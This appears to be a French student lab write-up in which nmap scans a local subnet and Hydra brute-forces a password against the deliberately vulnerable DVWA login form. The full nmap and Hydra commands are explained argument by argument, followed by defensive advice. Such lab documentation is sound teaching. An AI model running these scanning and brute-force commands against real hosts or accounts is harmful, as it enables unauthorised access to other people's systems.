# Projet Cybersécurité
## Thème : Password
### :memo: Situation
La situation simulée est celle d'un utilisateur connecté à un wifi publique et qui travaille sur un de ses projets web. Il héberge un serveur localement sur sa machine avec sa base de données. Comme c'est un projet en cours, il n'a pas encore pensé à la sécurité de son application web.
L'attaquant, de son côté, connaît son nom d'utilisateur qui est 1337.
### :wrench: Mise en place de l'environnement
Pour la simulation d'une application web vulnérable, j'ai utilisé DVWA (Damn Vulnerable Web Application) installé sur ma propre machine en utilisant XAMPP.

L'utilisateur s'authentifie par un formulaire sur son application web (DVWA).

Du côté de l'attaquant, Hydra sur Kali Linux (machine virtuelle) a été utilisé.
### :computer: Pentest
Comme la victime est sur un wifi publique, un nmap est effectué pour connaître son adresse ip :
```linux
sudo nmap -sn 192.168.0.0/24
```

La cible de l'attaque est l'adresse 192.168.0.24.
Une attaque par brute force est ensuite lancée avec Hydra :
```linux
hydra 192.168.0.24 -l 1337 -P /home/osboxes/Desktop/rockyou.txt http-get-form "/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:F=Username and/or password incorrect.:H=Cookie: PHPSESSID=69c33h3mlp757uh1dfn9een7n8; security=low"
```
Explication de chaque partie de la commande :
`192.168.0.24` : ip cible de l'attaque
`-l 1337` : nom d'utilisateur de la cible
`-P /home/osboxes/Desktop/rockyou.txt` : chemin vers la wordlist
`http-get-form` : attaque sur un formulaire qui effectue un get
`/dvwa/vulnerabilities/brute/` : url de la page web cible
`username=^USER^&password=^PASS^&Login=Login` : définition de chaque élément du formulaire HTML par leur "name"
`F:Username and/or password incorrect.` : une string qui permet d'identifier lorsque le login est incorrect
`H=Cookie: PHPSESSID=69c33h3mlp757uh1dfn9een7n8; security=low` : id de session pour pouvoir accéder à la page cible.
:::info
Comme DVWA nécessite une connexion au préalable pour voir la page de notre attaque, nous devons renseigner un id de session mais il n'est pas forcément nécessaire d'en définir un si la page est accessible directement au publique.
:::

Comme on peut le voir sur le retour de la commande, le mot de passe de l'utilisateur 1337 est charley.

Et le mot de passe était correct.
### :bulb: Actions défensives
- Ne pas travailler sur des projets sensibles sur un wifi publique.
- Utiliser un mot de passe plus complexe avec des caractères spéciaux (lorsque disponible) et des chiffres.
- Utiliser un nom d'utilisateur que des personnes ne peuvent pas connaître (éviter vrai nom/prénom).
- Vérifier et renforcer la sécurité de l'application web.
- Cacher son adresse ip grâce à différentes méthodes (VPN, Proxy...)